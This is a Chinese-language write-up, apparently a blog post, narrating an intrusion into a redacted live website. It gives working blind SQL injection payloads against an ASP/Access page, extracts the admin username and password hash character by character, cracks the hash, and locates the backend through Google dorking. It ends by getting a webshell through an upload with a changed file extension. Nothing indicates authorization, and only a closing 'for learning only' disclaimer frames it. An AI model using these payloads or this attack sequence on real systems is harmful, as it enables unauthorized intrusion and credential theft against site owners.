目标站:
http://www.xxxx.org/pro_view.asp?id=1295
1、判断是否存在注入点:
1.1、 and 1=1和and 1=2
-------------
但是有一些网站是检测到异常也报错,因此还需要进一步检测。
1.2、利用减法5=6-1(数字型)
---------------
数据库识别减法,那么可以证明我们的语句执行成功,存在SQL注入。
我尝试了使用SQLMAP此类工具进行注入测试,发现存在注入,但是拒绝执行命令,只能尝试手工注入。
2、判断是数字型还是字符型,然后判断是什么数据库
2.1、?id=1 and (select count(*) from sysobjects)>0 //正常为mssql,不同为access
2.2、?id=1 and (select count(*) from msysobjects)>0 //msysobjects 是access
3、爆破表名
?id=1295 and exists(select top 1 1 from admin)
存在:
不存在:
手工测试肯定难以确定表和字段,于是使用Burp进行联动爆破,接着就用字典跑其他的表。
4、爆破字段。
?id=1295 and exists(select user_name from admin)
存在:
不存在:
5、跑字段数据。
5.1、长度:?id=1295 and IIF((SELECT TOP 1 LEN(user_name) FROM admin) =?, 1, 0)
user_name:
password:
5.2、字段数据。
user_name第一个字符:
?id=1295 and (SELECT TOP 1 asc(mid(user_name,1,1)) FROM admin)=0
查ASCII表得到第一个字符为【a】,同样方法得到用户名为admin。
注:这里不用用大于号【>】或小于号【<】来判断,会报错。
password第一个字符:
?id=1295 and (SELECT TOP 1 asc(mid(password,1,1)) FROM admin)=99
查ASCII表得到第一个字符为【c】
同样方法得到密码为:cxxxxxxxxxxxx。MD5解密得到:qxxxxxxxx
但是现在新问题又来了,我没有找到后台,现在还得找一下后台。
找后台:
1、爆破
御剑无结果,尝试使用google hacking语法
2、谷歌
偶然发现一枚未授权访问:
http://www.xxxxx.org/boss/news/xxxxxe.asp
慢慢测试可以找到其后台。
----------------------
Getshell
上传:
抓包直接改后缀:
-----------------------------
完成收工。
以上内容仅供学习,请勿盲目测试。